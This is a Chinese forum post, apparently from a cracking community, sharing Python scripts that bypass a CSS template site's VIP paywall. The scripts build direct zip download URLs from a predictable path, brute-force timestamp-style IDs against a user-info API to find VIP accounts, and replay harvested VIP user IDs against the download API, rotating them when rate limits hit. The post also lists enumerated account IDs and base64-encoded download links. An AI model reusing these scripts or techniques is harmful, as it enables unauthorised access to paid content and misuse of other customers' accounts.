本帖最后由 odmin 于 2022-11-30 13:21 编辑
根据:https://www.52pojie.cn/thread-1720537-1-1.html
解析全站VIP zip 包地址
[Python] 纯文本查看 复制代码
def down_url(id):
# 构造 http://down.主域名.com:8020/cssthemes6/skk-0610-19.zip 的地址即可下载
url = f"{BaseURL}/cssthemes/{id}.shtml"
resp = requests.get(url, headers)
html = etree.HTML(resp.text)
a = html.xpath('//*[@id="main"]/div[1]/div[2]/div[1]/div[3]/div[1]/div[2]/div[4]/a[1]/@data-url')[0]
data_url = a.split("/")[-2]
d_url = f"http://down.主域名.com:8020/cssthemes6/{data_url}.zip" # 修改处
s = '%s,%s\n' % (id, d_url)
print(s) # 控制台输出url
def one_page(id):
url = f"{BaseURL}/cssthemes/index_{id}.shtml"
resp = requests.get(url, headers)
html = etree.HTML(resp.text)
a = html.xpath('//*[@id="main"]/div[1]/div/article/div/ul/li/a/@href')
for i in a:
d_url = i.split("/")[-1].split(".")[0]
down_url(d_url)
if __name__ == '__main__':
for i in range(1, 689):
one_page(i)
2022-11-30 更新用户取 vip id程序
[Python] 纯文本查看 复制代码 def userinfo(id):
"""
取openid
:return:
"""
url = 'http://vip.xxx.com/apishenji/userinfo' # aHR0cDovL3ZpcC5jc3Ntb2Jhbi5jb20vYXBpc2hlbmppL3VzZXJpbmZv
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Referer": "http://www.xxx.com/" # 替换成地址
}
data = {
"openid": id,
"phone": "",
"id": id,
}
try:
resp = requests.post(url=url, headers=headers, data=data).json()['myvip']
print(resp)
except:
pass
if __name__ == '__main__':
# for id in range(102898, 747312):
for id in range(2022113000000000000, 2022113008175495000): # 年月日时分秒毫微.....[color=rgb(169, 183, 198)][backcolor=rgb(43, 43, 43)][font="][size=9.8pt]datetime.datetime.now().strftime([/size][/font][/backcolor][/color][color=rgb(106, 135, 89)][font="][size=9.8pt]'%Y%m%d%H%M%S%f'[/size][/font][/color][color=rgb(169, 183, 198)][backcolor=rgb(43, 43, 43)][font="][size=9.8pt])[/size][/font][/backcolor][/color]
# 取用户信息
userinfo(id)
分析:https://www.52pojie.cn/thread-1719966-1-1.html
ID:
[Asm] 纯文本查看 复制代码 100042
100058
100081
100125
100134
100155
100197
100228
100249
100277
100334
100381
100433
100483
100517
100561
100592
100657
100717
100778
100780
100783
100804
100898
100967
100984
101003
101051
101094
101097
101164
101167
101193
101214
101256
101286
101304
101323
101324
101336
101350
101381
101387
101401
101506
101509
101529
101542
101587
101595
101647
101726
101728
101747
101753
101801
101831
101892
101897
101905
101909
101951
101958
101963
102031
102069
102154
102159
102179
102189
102195
102208
102295
102359
102368
102386
102410
102454
102456
102487
102498
102511
102526
102565
102583
102629
102638
102678
102735
102775
102793
102811
103955
103984
103995
104012
104048
104063
104071
104078
104113
104135
104195
104256
104313
104360
104365
104508
104520
104523
104540
104550
104566
104632
104655
104665
104682
104697
104759
104807
104818
104881
104910
104917
104942
104963
104974
104984
105022
105067
105096
105099
105121
105123
105126
105134
105261
105329
105333
105347
105730
105735
105739
105843
105848
105919
105937
105998
106031
106053
106054
106208
106270
106280
106285
106324
106330
106380
106519
106538
106578
106694
106711
106849
106999
107037
107086
107187
107228
107259
107264
107270
107276
107355
107399
107431
107438
107439
107509
107536
107579
107597
107606
107626
107638
107686
107695
107717
107726
107751
107863
107904
107916
107928
107968
107969
108003
108073
108088
108121
108133
108155
108196
108266
108322
108356
108357
108364
108372
108375
108425
108455
108482
108497
108507
108529
108566
108822
108824
108834
108928
108936
109008
109025
109106
109122
109196
109207
109274
109348
109349
109381
109388
109412
109447
109455
109469
109531
109606
109649
109703
109803
109866
109870
109876
110076
110164
110200
110283
110286
110289
110293
110296
110317
110366
110377
110422
110426
110454
110465
110475
110477
110548
110576
110581
110634
110698
110713
110721
110726
110728
110736
110746
110748
110768
110781
110931
111009
111042
111074
111127
111140
111158
111162
111167
111208
111264
111273
111281
111290
111301
111364
111381
111419
111468
111479
111526
111661
111702
111786
111842
111847
111857
111867
111876
111877
111903
111949
111978
111982
111985
112080
112188
112196
112208
112217
112238
112254
112256
112312
112367
112373
112399
112441
112498
112522
112529
112665
112673
112784
112809
112811
112822
112849
112864
112926
112928
112940
112945
112953
112999
113032
113047
113072
113141
113167
113274
113305
113323
113330
113345
113360
113396
113434
113482
113514
113523
113528
113574
113608
113619
113625
113639
113642
113653
113684
113700
113721
113740
113756
113764
113812
113841
113861
113901
113910
113982
114036
114048
114075
114090
114117
114201
114281
114338
114376
114397
114406
114452
114509
114518
[Python] 纯文本查看 复制代码
import requests
from lxml import etree
BaseURL = 'http://www.xxxxxx.com' #自己改一下
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Referer": BaseURL
}
def save_data(s):
with open("模板下载地址.csv", mode="a", encoding="utf-8") as f:
f.write(s)
def download_url(li):
url = 'http://vip.xxxxx.com/apishenji/down' # J2h0dHA6Ly92aXAuY3NzbW9iYW4uY29tL2FwaXNoZW5qaS9kb3duJw==
data = {
"userid": "100000", # VIP id {"code":-4,"msg":"下载次数限制"} 根据code 替换id ,自己脑补
"mobanid": li,
"screkey": "undefined",
}
resp = requests.post(url=url, headers=headers, data=data)
resp = resp.json()['data']
if resp != "":
s = '%s,%s\n' % (li, resp)
save_data(s)
else:
print(li)
def one_page(id):
url = f"{BaseURL}/cssthemes/index_{id}.shtml"
resp = requests.get(url, headers)
html = etree.HTML(resp.text)
a = html.xpath('//*[@id="main"]/div[1]/div/article/div/ul/li/a/@href')
for i in a:
d_url = i.split("/")[-1].split(".")[0]
download_url(27766)
if __name__ == '__main__':
for i in range(1, 689):
one_page(i)
只是测试了一下,不要干坏事,不要干坏事,不要干坏事!下面是几个模板下载的包
[Asm] 纯文本查看 复制代码 Mjc3ODksaHR0cDovL2Rvd24ubXh5aG4ueHl6OjgwMjAvY3NzdGhlbWVzNi9tb2JhbjU3NjYuemlwCjI3Nzg4LGh0dHA6Ly9kb3duLm14eWhuLnh5ej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C05LnppcAoyNzc3NCxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC04LnppcAoyNzc3MyxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC03LnppcAoyNzc3MixodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC02LnppcAoyNzc3MSxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC01LnppcAoyNzc3MCxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC00LnppcAoyNzc2OSxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC0zLnppcAoyNzc2OCxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC0yLnppcAoyNzc2NyxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC0xLnppcA==
VIP账号每天也是有下载次数的限制的!有用的加个热心吧!
|